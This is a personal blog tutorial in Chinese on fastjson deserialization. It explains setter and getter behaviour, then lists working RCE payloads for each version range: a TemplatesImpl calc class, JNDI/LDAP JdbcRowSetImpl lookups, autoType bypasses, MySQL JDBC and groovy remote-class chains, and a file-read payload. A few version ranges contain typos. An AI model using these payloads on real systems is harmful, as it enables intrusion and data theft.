fastjson学习

Sl0th Lv4

fastjson学习

fastjson组件可以类对象序列化成json字符串,再通过JSON.parse、JSON.parseObject等方法反序列化成类对象

序列化和反序列化

常见类型

  • JSONObject
  • JSONArray

简单使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
User user = new User("zhangsan",12);
//序列化
String serializedStr = JSON.toJSONString(user);
System.out.println(serializedStr);
//通过parse方法进行反序列化,返回的是一个JSONObject
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:"+obj1.getClass().getName()); System.out.println("parse反序列化:"+obj1);
//通过parseObject,不指定类,返回的是一个JSONObject
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName()); System.out.println("parseObject反序列化:"+obj2);
//通过parseObject,指定类后返回的是一个相应的类对象
Object obj3 = JSON.parseObject(serializedStr,User.class);
System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName()); System.out.println("parseObject反序列化:"+obj3);

//@type
String serializedStr = JSON.toJSONString(user);
System.out.println(serializedStr);
String serializedStr1 = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println(serializedStr1);
System.out.println(JSON.parse(serializedStr).getClass().toString());
System.out.println(JSON.parse(serializedStr1).getClass().toString());

//输出
有参构造
getId
getName{"id":12,"name":"zhangsan"}
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"name":"zhangsan","id":12}
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"zhangsan","id":12}
无参构造
setId
setName
parseObject反序列化对象名称:com.example.fastjson.User
parseObject反序列化:User{name='zhangsan', id=12}
//@type
getId
getName
{"id":12,"name":"zhangsan"}
getId
getName
{"@type":"com.example.fastjson.User","id":12,"name":"zhangsan"}
class com.alibaba.fastjson.JSONObject
无参构造
setId
setName
class com.example.fastjson.User

总结:

  • 要想反序列化后得到对应类型的类,需要使用parseObject并传入类的.class
    • 同时这样生成的序列化json字符串中会带有@type属性,存储着对应的类完整包路径
  • parseObject(“”,class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
  • 调用toJSONString镜像序列化的时候,会调用getter
  • 不指定@type不会调用构造方法setter
  • 指定@type时,parse只会调用构造方法和特定setter,而parseObject会额外调用getter

public/private属性区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class Person {
//属性
public String name;
private String full_name;
private int age;
private Boolean sex;
private Properties prop; //构造函数
public Person(){
System.out.println("Person构造函数"); }
//set
public void setAge(int age){
System.out.println("setAge()");
this.age = age;
}
//get 返回Boolean
public Boolean getSex(){
System.out.println("getSex()");
return this.sex;
}
//get 返回ProPerties
public Properties getProp(){
System.out.println("getProp()");
return this.prop;
}
//在输出时会自动调用的对象ToString函数
public String toString() {
String s = "[Person Object] name=" + this.name + " full_name=" +
this.full_name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" +
this.sex;
return s;
}
}

测试序列化与反序列化

1
2
3
4
String eneity3 = "{\"@type\":\"com.example.fastjson.Person\",\"name\":\"zhang\", \"full_name\":\"zhangsan\", \"age\": 18, \"prop\": {\"123\":123}, \"sex\": 1}";
//反序列化
Object obj = JSON.parseObject(eneity3,Person.class); //输出会调用obj对象的toString函数
System.out.println(obj);

输出结果

1
2
3
4
Person构造函数
setAge()
getProp()
[Person Object] name=zhang full_name=null, age=18, prop=null, sex=null

从结果来看,成功通过反序列化赋值的属性只有name和age,而其中name因为是public因此可以直接赋值,full_name、sex、prop等private属性因为没有设置setter因此也赋值失败,age虽为private属性,但public void setAge(int age)被调用成功,因此被赋值

private sex getsex函数没有被调用,private prop getprop函数被成功调用

总结:

  • 反序列化赋值时,public属性直接赋值,private属性要调用setter
  • getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用

parse过程

image-20230810202238068
image-20230810202238068

该过程中调用的setter方法要求

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

寻找到符合要求的set开头的方法后会根据一定规则提取方法名后的变量名。再去跟这个类的属性去比对有没有这个名称的属性。

如果没有这个属性并且这个set方法的输入是一个布尔型,会重新给属性名前面加上is,再取头两个字符,第一个字符为大写(即isNa),去寻找这个属性名。

该过程中调用的getter方法要求

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

漏洞利用

Fastjson<=1.2.24

TemplatesImpl利用链

利用条件

  1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞: JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);

  2. 服务端使用parse()时,需要 JSON.parse(text1,Feature.SupportNonPublicField);

这是因为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl需要赋值的一些属性为private 属性,服务端必须添加特性才回去从json中恢复private属性的数据。

总体来说是直接反序列化TemplatesImpl,由于存在 Feature.SupportNonPublicField 设置(允许private对象传入),反序列化的过程中会调用setValue,这里会把所有属性存储到filedInfo中,到outputProperties的时候,因为它是个类,存在 method,于是进入if分支,调用方法为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

image-20230810204820756
image-20230810204820756

之后会调用newTransformer()

image-20230810204854867
image-20230810204854867

image-20230810204903707
image-20230810204903707

image-20230810204916936
image-20230810204916936

最后就是初始化类进而代码执行了

payload

恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Shell extends AbstractTranslet{
public Shell() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
} }
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws
TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {
} }

工具类

1
2
3
4
5
6
7
8
9
10
11
12
public static String FiletoBase64(String filename) throws IOException {
File file = new File(filename);
FileInputStream io = new FileInputStream(file);
ByteArrayOutputStream os = new ByteArrayOutputStream();
byte[] buf = new byte[10240];
int len;
while ((len = io.read(buf)) > 0) {
os.write(buf, 0, len);
}
io.close();
String s = Base64.getEncoder().encodeToString(os.toByteArray());
return s; }

payload

1
2
3
4
5
String shell = ClassBase64Util.FiletoBase64("./Shell.class");
String payload1 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+shell+"\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
System.out.println(payload1);
JSONObject obj = JSON.parseObject(payload1, Feature.SupportNonPublicField);
System.out.println(obj);

JdbcRowSetImpl利用链

利用链分析:在设置AutoCommit属性时,调用setAutoCommit()方法,conn默认为空,进入else执行this.conn = this.connect();

image-20230810205442293
image-20230810205442293

image-20230810205413334
image-20230810205413334

conn默认为空,若this.getDataSourceName() != null则进入else if,调用至 lookup(this.getDataSourceName()

故此处存在JNDI注入,payload为:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/badClassName", "autoCommit":true}

1.2.25<=Fastjson<=1.2.41

利用条件

开启autoTypeSupport,影响版本1.2.25 <= Fastjson <= 1.2.41

版本分析

FastJSON1.2.24

1
2
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

FastJSON1.2.25

1
2
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = this.config.checkAutoType(ref, (Class)null);

加载类从TypeUtils.loadClass 变成了this.config.checkAutoType

同时在1.2.25后com.alibaba.fastjson.parser.ParserConfig类加了属性

1
2
3
private boolean autoTypeSupport; //控制是否可进行反序列化,默认为false
private String[] denyList; //黑名单
private String[] acceptList; //白名单

黑白名单在构造方法中赋值

反序列化中也使用了ParserConfig#checkAutoType(),下图为com.alibaba.fastjson.parser.DefaultJSONParser中parseObject()方法

image-20230810210025230
image-20230810210025230

checkAutoType()中对autoTypeSupport进行判断

  • 若为true则先进行白名单校验,若为白名单内则进 入TypeUtils.loadClass,后再进行黑名单校验,若在黑名单中则抛出异常(autoType is not support …),若未在黑名单中则在Map中查找类
  • 若autoTypeSupport为false,则进行黑名单判断,再进行白名单判断,最后若autoTypeSupport=true, 会再一次进行判断然后进入到TypeUtils.loadClass中

com.alibaba.fastjson.util.TypeUtils#loadClass()中对[ L ;进行了处理,而其中在处理L ;的时候存在了逻 辑漏洞,可以在className的前后分别加上L ;来进行绕过

image-20230810211123310
image-20230810211123310

payload

1
2
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:13 89/Basic/Command/calc", "autoCommit":true}

payload2

利用条件

  • 1.2.25 <= Fastjson <= 1.2.32 未开启autoTypeSupport
  • 1.2.33 <= Fastjson <= 1.2.347 autoTypeSupport开启或未开启均可利用
    • checkAutoType源码修改,若autoTypeSupport为true,当目标类在黑名单中,需要目标类不在map中才 会抛出异常

payload

1
2
3
4
5
{
"A":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
"B":
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc","autoCommit":"true"}
}

其实就是传两个对象,解析两次,解析完第一个对象时会把com.sun.rowset.JdbcRowSetImpl驾到缓存map中,第二次时就可以直接获取到目标类

A的解释

  • 在MiscCodec#deserialze()方法中,会解析strVal(对应val的值),当clazz == Class.class,调用 TypeUtils.loadClass(),此时strVal为val对应值,这样就可以把val中的类加载到缓存map(mappings)中

    1
    2
    3
    if (clazz == Class.class) { //当clazz == Class.class,调用 TypeUtils.loadClass(),此时strVal为val对应值
    return TypeUtils.loadClass(strVal,parser.getConfig().getDefaultClassLoader());
    }

Fastjson = 1.2.42

利用条件

Fastjson <= 1.2.42 开启autoTypeSupport

Fastjson1.2.42将黑名单由字符串直接比对改为了HashCode。checkAutoType()中在黑名单绕过的时候 做了一个校验,如果类名以L开头,;结尾,则会用stubstring()去除类名前的第一个L,双写L即可绕过

payload

1
2
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport 
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1: 1389/Basic/Command/calc","autoCommit":true}

Fastjson = 1.2.43

利用条件

Fastjson <= 1.2.43开启autoTypeSupport

Fastjson <= 1.2.43,checkAutoType()对LL进行了判断,如果类以LL开头,抛出异常,但在 TypeUtils.loadClass中,还对[进行了处理,因此又可以通过[来进行绕过

TypeUtils#loadClass()

1
2
3
4
5
6
7
8
9
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

payload

1
2
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport 
{"@type":"[com.sun.rowset.JdbcRowSetImpl" [{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc","autoCommit":true }

Fastjson = 1.2.44

修复了[的绕过,在checkAutoType中进行判断如果类名以[或L开头抛出异常。L[让绕 过方法失效,可使用JSON内置payload

paylaod

1
2
3
4
5
{
"A":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
"B":
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc","autoCommit":"true"}
}

Fastjson = 1.2.47

利用条件

1.2.25 <= Fastjson <= 1.2.32 未开启autoTypeSupport
1.2.33 <= Fastjson <= 1.2.32 autoTypeSupport开启或未开启均可利用

payload

1
2
3
4
5
{
"A":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
"B":
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc","autoCommit":"true"}
}

1.2.48 <= Fastjson <= 1.2.67(要有依赖)

Fastjson1.2.48修复JSON内置绕过方法,此版本内多为针对黑名单绕过,需要相应组件才可使用

payload

<=1.2.62

1
2
3
4
5
6
7
8
//依赖
// <dependency>
// <groupId>org.apache.xbean</groupId>
// <artifactId>xbean-reflect</artifactId>
// <version>x.x</version>
// </dependency>
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://127.0.
0.1:1389/Basic/Command/calc"}";

fastjson <= 1.2.66黑名单绕过,需autoTypeSupport属性为true

1
2
3
4
5
6
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://127.0.0.1:1389/Basic/Command/calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://127.0.0.1:1389/Basic/Command/calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://127.0.0.1:1389/Basic/Command/calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","proper
ties:
{"@type":"java.util.Properties","UserTransaction":"ldap://127.0.0.1:1389/Basic/Command/calc"}}

Fastjson = 1.2.68(要有依赖)

利用链分析

FastJSON1.2.68新引入safeMode,配置safeMode为true,黑白名单均不支持autoType,默认为false,不影 响代码调用。经过源码分析,达到以下条件则可通过ParserConfig#checkAutoType()安全校验:

expectClass为空:

  1. typeNmae不在denyHashCodes黑名单中(必须条件)
  2. SafeMode为false(必要条件,默认为false)
  3. typeName在TypeUtils#mappings中且expectClass为空且typeName不为HashMap且不为

expectClass子类 expectClass不为空:

  1. typeNmae和expectClass均不在denyHashCodes黑名单中(必须条件)
  2. autoTypeSupport为false(默认为false)
  3. expectClass在TypeUtils#mappings中
  4. typeName不是ClassLoader、DataSource、RowSet的子类
  5. expectClass不为null,且不为Object.class、Serializable.class、Cloneable.class、

Closeable.class、EventListener.class、Iterable.class、Collection.class

  1. typeName是expectClass的子类

payload

命令执行

依赖

1
2
3
4
5
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>x.x.xx</version>
</dependency>

ServerStatusDiffInterceptor链

  • 5.1.0-5.1.10:jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffI nterceptor&user=yso_JRE8u20_calc 连接后需执行查询
  • 5.1.11-5.x.xx:jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffI nterceptor&user=yso_JRE8u20_calc
  • 6.x:jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDif fInterceptor&user=yso_JRE8u20_calc (包名中添加cj)
  • 8.0.20以下:jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInte rceptor&user=yso_JRE8u20_calc

detectCustomCollations链

  • 5.1.19-5.1.28:jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&user=yso_JRE8u20_calc
  • 5.1.29-5.1.40:jdbc:mysql://127.0.0.1:3306/test? detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
  • 5.1.41 以上 不可用

利用链分析

1
**queryInterceptors:**一个逗号分割的Class列表(实现了 com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query"之间"进行执行来影响结 果。(效果上来看是在Query执行前后各插入一次操作) **autoDeserialize:**自动检测与反序列化存在BLOB字段中的对象。

detectCustomCollations链:

  • <8.0.20: jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInte rceptor&user=yso_JRE8u20_calc
  • 6.x(属性名不同): jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDif fInterceptor&user=yso_JRE8u20_calc
  • 5.1.11及以上的5.x版本(包名没有了cj): jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
    detectCustomCollations触发:
  • 5.1.41及以上: 不可用
  • 5.1.29-5.1.40: jdbc:mysql://127.0.0.1:3306/test? detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
  • 5.1.28-5.1.19: jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&user=yso_JRE8u20_calc
  • 5.1.18以下的5.1.x版本: 不可用
  • 5.0.x版本不可用
  • 5.1.41版本后,不再使用getObject()获取”SHOW COLLATION”的结果,此链失效

ServerStatusDiffInterceptor链:

payload 5.1.11-5.1.48

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"@type":"java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"info":
{
"user": "CommonsCollections5", // 利用链
"password": "pass",
"statementInterceptors":
"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}

payload 6.0.2/6.0.3

1
2
3
4
5
6
7
8
9
{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString":{
"url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc"
}
}
}

6.0.4中构造方法改变,此利用链无法使用

payload 8.0.19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl":{
"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters":[{
"host":""
}],
"slaves":[],
"properties":{
"host":"127.0.0.1",
"user":"yso_CommonsCollections4_calc",
"dbname":"dbname",
"password":"pass",
"queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
",
"autoDeserialize":"true"
}
}
}
}

文件写入读取

依赖

1
2
3
4
5
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>x.x</version>
</dependency>

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///D:/1.txt"//此处传入URL,则此处可使用file jar http 等协议
},
"charsetName": "UTF-8",
}, "boms": [{
"bufferSize": 1024
"charsetName": "UTF-8",
"bytes": [66]
}] },
"address": {
"$ref": "$.abc.BOM"
}
}
1
2
3
4
{
"address": {
"$ref": "$.abc.BOM"
} }

这里用了FastJSON的特性"$ref"": "$.xx.yy"表示调用JSON对象中xx的yy属性的getter。payload中即调用 abc(org.apache.commons.io.input.BOMInputStream的BOM属性,即调用BOMInputStream的 getBOM()方法。

1.2.72 < Fastjson <= 1.2.80

FastJSON1.2.80与1.2.68相比,ParserConfig#checkAutoType()添加了期望类黑名单,期望类在黑名单 中则无法加载,若期望类及目标类不在黑名单中则可使用与1.2.68类似绕过方法绕过检测。

依赖

1
2
3
4
5
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>3.0.13</version>
</dependency>

payload

1
2
3
4
5
6
1.利用隐式类关系将 org.codehaus.groovy.control.org.codehaus.groovy.control.ProcessingUnit、 org.codehaus.groovy.control.CompilerConfiguration加入到maping中 {"@type":"java.lang.Exception", "@type":"org.codehaus.groovy.control.CompilationFailedException", "unit":{}}
2.利用链加载远程类 {"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpath":"url地址xxx"}
}

服务器配置:
新建文件 META-INF/services/org.codehaus.groovy.transform.ASTTransformation 文件内容为MyExction
http根目录放置MyExction.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.IOException;
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;
@GroovyASTTransformation
public class MyExction implements ASTTransformation {
public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {
}
static { try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}
  • 标题: fastjson学习
  • 作者: Sl0th
  • 创建于 : 2023-02-01 22:40:37
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2023/02/01/fastjson学习/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论